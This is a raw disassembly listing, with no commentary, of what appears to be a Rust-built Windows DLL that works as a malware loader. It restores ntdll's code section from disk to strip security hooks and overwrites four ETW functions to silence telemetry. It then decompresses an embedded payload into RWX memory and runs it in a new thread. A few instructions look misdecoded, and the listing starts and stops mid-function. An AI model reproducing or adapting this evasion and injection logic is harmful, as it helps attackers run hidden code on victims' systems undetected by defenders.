jne 0x10004cf5
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005ed0
mov rcx, rax
mov qword [0x100800c8], rax
mov r8d, 0x10
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005ed0
mov word [rax], 0x43
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 8
mov qword [rsp + 0x1b0], 1
lea rbx, [0x1006d954]
mov esi, 1
xor r13d, r13d
lea r14, [0x1006d970]
lea r15, str.C:WindowsSystem32_ntdll.dll
mov r12, 0xffffffffffffffff
lea rdi, [rsp + 0x1a0]
jmp 0x10004d73
mov word [rax + rsi*2], r13w
inc rsi
mov qword [rsp + 0x1b0], rsi
mov r13d, ebp
test r13w, r13w
jne 0x10004e00
cmp rbx, r14
je 0x10004e95
movzx ecx, byte [rbx]
test cl, cl
js 0x10004da1
inc rbx
mov r13d, ecx
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004d60
jmp 0x10004e10
mov r13d, ecx
and r13d, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x10004df3
movzx edx, byte [rbx + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x10004e4a
movzx ecx, byte [rbx + 3]
add rbx, 4
and r13d, 7
shl r13d, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or r13d, ecx
cmp r13d, 0xffff
jbe 0x10004e00
jmp 0x10004e5e
add rbx, 2
shl r13d, 6
or r13d, r8d
nop
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004d60
mov r8, r15
sub r8, rbx
add r8, 0x1d
add r8, 3
cmovb r8, r12
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rsi
call fcn.1000c7e0
mov rax, qword [rsp + 0x1a0]
jmp 0x10004d60
add rbx, 3
shl r13d, 0xc
or r13d, edx
cmp r13d, 0xffff
jbe 0x10004e00
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov ebp, r13d
mov r13d, ecx
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004d60
jmp 0x10004e10
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf0], rax
movdqu xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rsi, qword [rsp + 0xe8]
cmp rax, rsi
jne 0x10004ee4
lea rcx, [rsp + 0xe0]
mov rdx, rsi
call fcn.1000c720
mov rsi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe0]
mov word [rbx + rax*2], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rdi, rax
test rsi, rsi
je 0x10004f3a
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
cmp rdi, 0xffffffffffffffff
je 0x1000514c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rsi, rax
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
je 0x1000514c
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x10005206
mov edx, dword [rax + 0x3c]
mov ecx, dword [rdx + rax + 0x50]
cmp rcx, 0x40
jb 0x10005f71
mov r8b, 4
test al, 3
jne 0x100060b8
movzx r9d, word [rax]
cmp r9d, 0x5a4d
jne 0x10005f8f
test dl, 3
jne 0x100060b8
cmp edx, 0x1000000
ja 0x10005f97
lea r9, [rdx + 0x88]
cmp r9, rcx
ja 0x10005f71
cmp dword [rax + rdx], 0x4550
jne 0x10005f8f
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x1000501f
mov r8b, 5
cmp r10d, 0x10b
jne 0x100060b8
mov r8d, dword [rax + rdx + 0x54]
cmp ecx, r8d
jb 0x10005f71
cmp r8d, dword [rax + rdx + 0x50]
ja 0x10005f97
movzx r8d, r10w
cmp r8d, 0x20b
jne 0x100060b5
mov r8d, dword [rax + rdx + 0x84]
cmp r8d, 0x10
mov r10d, 0x10
cmovb r10d, r8d
shl r10d, 3
add r9, r10
cmp r9, rcx
ja 0x10005f71
movzx r9d, word [rax + rdx + 6]
mov r8b, 7
cmp r9, 0x60
ja 0x100060b8
shl r9, 3
lea r9, [r9 + r9*4]
lea r8, [rdx + r9]
movzx r10d, word [rax + rdx + 0x14]
lea r11, [r10 + r8]
add r11, 0x18
mov r8b, 1
cmp r11, rcx
ja 0x100060b8
add r10, rdx
lea r8, [rax + r10]
add r8, 0xfffffffffffffff0
movabs rdx, 0x747865742e
nop dword [rax]
test r9, r9
je 0x10005e17
lea r10, [r8 + 0x28]
add r9, 0xffffffffffffffd8
cmp qword [r8 + 0x28], rdx
mov r8, r10
jne 0x100050c0
mov edx, dword [r10 + 0xc]
test rdx, rdx
je 0x100060ee
mov r9d, dword [r10 + 8]
mov r10d, r9d
mov r8b, 1
add r10d, edx
jb 0x100060f1
cmp ecx, r10d
jb 0x100060f1
mov rcx, qword [rsp + 0x180]
add rcx, rdx
mov qword [0x10080020], r9
mov qword [0x10080028], rcx
mov rcx, rax
call sub.KERNEL32.dll_UnmapViewOfFile
jmp 0x1000520b
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x1006ead0]
mov rcx, rax
call fcn.10006d00
jmp 0x10006160
call sub.KERNEL32.dll_GetLastError
jmp 0x10005213
mov ecx, r14d
and ecx, 0xfffffffe
mov rax, qword [rsp + 0x80]
lea rdx, [rax + 0x18]
xor eax, eax
lea r8, [rsp + 0xa8]
nop word cs:[rax + rax]
mov r9, qword [rsi + rax*8]
mov qword [rdx - 0x18], r8
mov qword [rdx - 0x10], r9
mov r9, qword [rsi + rax*8 + 8]
mov qword [rdx - 8], r8
mov qword [rdx], r9
add rax, 2
add rdx, 0x20
cmp rcx, rax
jne 0x10005180
test r14b, 1
je 0x100051cc
mov rcx, qword [rsi + rax*8]
shl rax, 4
lea rdx, [rsp + 0xa8]
mov r8, qword [rsp + 0x80]
mov qword [r8 + rax], rdx
mov qword [r8 + rax + 8], rcx
mov r12, r14
cmp qword [rsp + 0x1a8], 0
jne 0x10003a39
jmp 0x10003a4a
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x1006ead0]
mov rcx, rax
call fcn.10006d00
jmp 0x10006160
call sub.KERNEL32.dll_GetLastError
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x10080028]
mov qword [rsp + 0x58], rax
lea rax, [fcn.10008ca0]
mov qword [rsp + 0x60], rax
lea rax, [0x1006d970]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
mov qword [rsp + 0x1c0], 0
lea r15, [rsp + 0x58]
mov qword [rsp + 0x1b0], r15
mov qword [rsp + 0x1b8], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10006890
mov rsi, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [0x10080020]
test rdi, rdi
je 0x100052e8
lea r14, [rdi*4]
mov rcx, qword [0x100800c8]
test rcx, rcx
jne 0x100052c4
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x100052d9
mov rcx, rax
mov qword [0x100800c8], rax
mov edx, 8
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x100052ed
mov ecx, 4
mov rdx, r14
call fcn.100064f0
ud2
mov ebx, 4
mov rdx, qword [0x10080028]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x188]
mov r8, rbx
mov r9, rdi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x10005eab
mov rdx, qword [0x10080028]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, rdi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x10005eab
test rdi, rdi
je 0x10005359
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
test r12, r12
je 0x1000536f
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
lea rcx, [0x1006d8f0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1006d943]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
mov rdx, qword [section..data]
mov r8, qword [0x10046008]
lea rcx, [rsp + 0x1a0]
call fcn.10002580
mov rbx, qword [rsp + 0x1a0]
test rbx, rbx
je 0x10005f01
mov rdi, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
mov rdx, qword [0x10046010]
mov r8, qword [0x10046018]
lea rcx, [rsp + 0x1a0]
call fcn.10002580
mov r14, qword [rsp + 0x1a0]
test r14, r14
je 0x10005f1a
mov r12, qword [rsp + 0x1a8]
mov rdx, qword [0x10046020]
mov r8, qword [0x10046028]
lea rcx, [rsp + 0x1a0]
call fcn.10002580
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x10005f33
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xc0], r14
mov r13, qword [rsp + 0x1a8]
movzx eax, byte [0x10080120]
mov rcx, qword [0x100800c8]
test rcx, rcx
jne 0x10005524
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005ee1
mov rcx, rax
mov qword [0x100800c8], rax
mov r8d, 0x2000
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005ee1
mov r14, rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x220], 0
lea rcx, [rsp + 0x1a0]
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.10042d80
cmp eax, 0xb
ja case.default.0x100055da
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0x70], rdi
mov eax, eax
lea rcx, [0x10047180]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdi, [rsp + 0xe6]
lea rbp, [rsp + 0x1a0]
mov r8d, 0x88
mov rcx, rdi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x1e0]
mov r8d, 0x88
mov rdx, rdi
call sub.msvcrt.dll_memcpy
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x1b0], xmm6
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x1a8], 0x2000
mov qword [rsp + 0x58], 1
movdqu xmmword [rsp + 0x60], xmm6
mov eax, 1
mov qword [rsp + 0x78], rax
lea rsi, [rsp + 0xe0]
lea rbx, [0x100471b0]
xor edi, edi
xor r12d, r12d
xor r15d, r15d
mov qword [rsp + 0xb8], r15
cmp r12, rdi
jne 0x100056c4
jmp 0x1000579d
cmp byte [r13 + 0x10], 0x23
jne case.0x10005728.2
cmp r12, rdi
je 0x1000579d
mov r14, rdi
sub r14, r12
mov r8, r14
sub r8, r15
jb 0x10005ddc
mov rax, qword [rsp + 0x78]
lea r13, [rax + r12]
lea rcx, [r15 + r13]
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rsi
mov rdx, rbp
mov r8, r13
mov r9, r14
call fcn.10002280
cmp qword [rsp + 0xe0], 0
mov r13, qword [rsp + 0xe8]
je 0x100057f0
test r13, r13
je 0x100059c6
mov eax, r13d
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
cmp byte [r13 + 0xf], 0x23
jne case.0x10005728.2
mov r15, rbx
mov rbx, rsi
mov rsi, rbp
mov r14, qword [r13 - 1]
mov rbp, qword [r13 + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x1000576f
cmp qword [rbp + 0x10], 0x11
jb 0x1000575e
mov r14, qword [r14 - 8]
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
dec r13
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, r13
call fcn.1003965c
mov rbp, rsi
mov rsi, rbx
mov rbx, r15
mov r15, qword [rsp + 0xb8]
cmp r12, rdi
jne 0x100056c4
mov r8d, 0x20
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.100021c0
mov r12, qword [rsp + 0x68]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x60]
jmp 0x100056c4
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x100056bb
jmp case.0x10005728.2
cmp r14, r13
mov r15, r13
cmova r15, r14
test r13, r13
je 0x100059c6
cmp r14, r13
jb 0x10005fae
sub r15, r13
add r12, r13
mov qword [rsp + 0x68], r12
mov rax, rdi
or rax, r12
jne 0x10005694
movdqa xmmword [rsp + 0xf0], xmm6
movdqa xmmword [rsp + 0xe0], xmm6
lea r14, [rsp + 0xa8]
lea r12, [0x100471c0]
jl 0x1000585b
add al, 0
jl 0x1000585b
add al, 0
jmp 0x1000585b
cmp byte [r13 + 0x10], 0x23
jne case.0x10005728.2
mov r9d, 0x20
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.10002280
cmp qword [rsp + 0xa8], 0
je case.default.0x10005893
mov r13, qword [rsp + 0xb0]
mov eax, r13d
add byte [rcx + rcx*4 - 0x18], al
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
lea r14, [rsp + 0xa8]
jmp 0x1000585b
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x100059c6
cmp r14, 0x21
jae 0x10005f79
lea rcx, [rsp + 0x58]
xor edx, edx
mov r8, r14
call fcn.100021c0
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov qword [rsp + 0x78], rax
lea rcx, [rax + r12]
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
add r8d, dword [rax]
add r8d, dword [rax]
add r12, r14
mov qword [rsp + 0x68], r12
jmp 0x10005694
mov rax, r13
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x100059c6
test rax, rax
je 0x100059c6
lea rdi, [r13 - 1]
mov r14, qword [r13 - 1]
mov rsi, qword [r13 + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x100059b5
cmp qword [rsi + 0x10], 0x11
jb 0x100059a4
mov r14, qword [r14 - 8]
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rdi
call fcn.1003965c
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
cmp qword [rsp + 0x1a8], 0
je 0x100059f6
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x100800c8]
xor edx, edx
call fcn.1003965c
lea rcx, [rsp + 0x1e0]
call fcn.10040bb0
cmp qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0xa0]
lea r12, [rsp + 0xa8]
je 0x10005a3c
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call fcn.1003965c
test rbx, rbx
je 0x10005a57
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call fcn.1003965c
cmp qword [rsp + 0x70], 0
je 0x10005a70
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xe0], r15
mov dword [rsp + 0xa8], 0
mov qword [rsp + 0x1a0], r15
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rsi, [rsp + 0x58]
lea r9, [rsp + 0x1a0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r14
mov r9, r15
call sub.ntdll.dll_NtWriteVirtualMemory
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0xe0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x58]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x1a0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0x1a0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test rdi, rdi
je 0x10005b80
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
movaps xmm6, xmmword [rsp + 0x3b0]
movaps xmm7, xmmword [rsp + 0x3c0]
movaps xmm8, xmmword [rsp + 0x3d0]
movaps xmm9, xmmword [rsp + 0x3e0]
movaps xmm10, xmmword [rsp + 0x3f0]
movaps xmm11, xmmword [rsp + 0x400]
movaps xmm12, xmmword [rsp + 0x410]
movaps xmm13, xmmword [rsp + 0x420]
movaps xmm14, xmmword [rsp + 0x430]
movaps xmm15, xmmword [rsp + 0x440]
add rsp, 0x458
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x10005c15
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
mov rsi, qword [rsp + 0xd0]
je 0x10005c38
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
test rsi, rsi
je 0x10005c53
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
jne 0x10004cca
call fcn.10038f20
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
lea rax, [0x100178a0]
mov qword [rsp + 0xe8], rax
lea rax, [0x100753a0]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
mov qword [rsp + 0x1c0], 0
lea rcx, [rsp + 0x94]
lea rdx, [rsp + 0x1a0]
call fcn.10038f70
ud2
mov eax, 0x23
mov edx, 0x23
lea r8, [0x1006eab8]
jmp 0x1000513f
mov eax, 0x23
mov edx, 0x23
lea r8, [0x1006eab8]
jmp 0x100051f9
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x1a8], 0
je 0x10005d54
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
xor eax, eax
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], r12
lea rax, [0x1006d9e0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049000]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
xor r8d, r8d
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x88]
mov r9, rdi
call fcn.100096a0
jmp 0x10006160
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10006c80
ud2
mov ecx, 1
mov rdx, r13
call fcn.100064f0
ud2
call fcn.100064b0
ud2
mov ecx, 1
mov edx, 9
call fcn.100064f0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, [0x1006d9b0]
mov edx, 0x2b
call fcn.100079a0
ud2
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], rbx
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b8], rax
lea rax, [0x1006d9f8]
jmp 0x10005d8d
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_module.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.10007600
ud2
mov rdi, qword [rsp + 0x88]
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0xc8], rax
jmp 0x10005db7
call fcn.10034ce0
ud2
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_mod.rs
mov rcx, r14
mov rdx, r15
call fcn.10007600
ud2
mov eax, 4
jmp 0x10005d56
mov ecx, 2
mov edx, 0x10
call fcn.100064f0
ud2
mov ecx, 1
mov edx, 0x2000
call fcn.100064f0
ud2
mov ecx, 8
mov rdx, rbx
call fcn.100064f0
ud2
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x1006da10]
jmp 0x10005f4a
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x1006da28]
jmp 0x10005f4a
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x1006da40]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049020]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.100087c0
ud2
mov r8b, 1
jmp 0x100060b8
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_srciomod.rs
mov edx, 0x20
mov rcx, r14
call fcn.10007600
ud2
mov r8b, 5
jmp 0x100060b8
mov r8b, 7
jmp 0x100060b8
mov ecx, 1
mov rdx, r12
call fcn.100064f0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10007600
ud2
mov r12, rdi
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r13
call fcn.10006c80
jmp 0x10006160
mov dword [rsp + 0xa8], eax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
lea rax, [0x10008860]
mov qword [rsp + 0x60], rax
lea rax, [0x10075618]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], 1
lea rdx, [0x10075628]
lea rcx, [rsp + 0xe0]
call fcn.10006c40
ud2
mov sil, 6
jmp 0x10006072
mov sil, 7
jmp 0x10006072
mov sil, 4
jmp 0x10006072
mov sil, 3
jmp 0x10006072
mov sil, 2
jmp 0x10006072
mov sil, 1
jmp 0x10006072
xor esi, esi
jmp 0x10006072
mov sil, 5
lea rcx, [rsp + 0x1a0]
call fcn.10040bb0
mov byte [rsp + 0x1a0], sil
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_xz2_0.1.7_src_bufread.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fe0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
mov r8b, 6
mov byte [rsp + 0x1a0], r8b
lea rax, [0x1006d998]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONpack_src_lib.rs
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 6
call fcn.100087c0
ud2
xor r8d, r8d
mov byte [rsp + 0x1a0], r8b
lea rax, [0x1006d9c8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rdi
mov rdx, r12
call fcn.10008030
jmp 0x10006160
mov rdi, r12
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rax
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x170]
call fcn.10007600
ud2
invalid